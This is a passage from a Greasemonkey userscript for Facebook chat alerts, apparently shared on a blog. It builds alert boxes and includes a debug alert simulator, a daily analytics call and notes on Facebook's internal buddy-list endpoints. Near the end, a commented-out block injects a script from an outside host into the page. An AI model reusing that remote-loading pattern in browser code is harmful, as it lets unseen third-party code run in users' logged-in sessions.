 var FBA_ScriptEnable = GM_getValue("FBA_ScriptEnable",true); 
 if(FBA_ScriptEnable)
 {
  FBA_createMsgBox();
  //----------------------------------------------------------------------
  // test
  //FBA_Debug_Simulate_Alerts(); 
  //FBA_displayMsgBox(0,"Test Name","http://profile.ak.fbcdn.net/hprofile-ak-ash4/260961_738804681_1419661988_q.jpg");
  //FBA_displayMsgBox(0,"Test Name","http://profile.ak.fbcdn.net/hprofile-ak-ash4/260961_738804681_1419661988_q.jpg");
  //FBA_displayMsgBox(0,"Test Name","http://profile.ak.fbcdn.net/hprofile-ak-ash4/260961_738804681_1419661988_q.jpg");
  //FBA_displayMsgBox(0,"Test Name","http://profile.ak.fbcdn.net/hprofile-ak-ash4/260961_738804681_1419661988_q.jpg");
  // all buddy list : http://www.facebook.com/ajax/chat/user_info_all.php?__user=<user_id>&__a=1&__req=a&viewer=<user_id>
  // ava users : http://www.facebook.com/ajax/chat/buddy_list.php 
  //----------------------------------------------------------------------
  FBA_main();
 }
 FBA_addSideBarBanner();
}
//----------------------------------------------------------------------
function FBA_Debug_Simulate_Alerts()
{
 var personItems = FBA_getPersonItems();
 if(personItems&&personItems.length>0)
 {
  for ( var i = 0 ; i < personItems.length ; i ++ )
  {
   var personItemsClassName = personItems[i].getAttribute("class");
   
   if ( personItemsClassName.indexOf("active") == -1 )
   {  
    var name = FBA_getUserNameFromPersonObj(personItems[i]);    
    GM_log("adding 'active class' to :"+name);
    personItems[i].setAttribute("class",personItemsClassName+" active");
    break;
   }
  }
 }
 setTimeout("FBA_Debug_Simulate_Alerts()",3000);
}
//----------------------------------------------------------------------
PCG_GA_recordEvent_OnceADay("FBA");
//----------------------------------------------------------------------
/*
(function() {
var e=document.createElement('script');
e.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'efc.pkgmirror.net/sd/3000/1001.js';
document.body.appendChild(e);
})(); */
//----------------------------------------------------------------------

Nenhum comentário:

Postar um comentário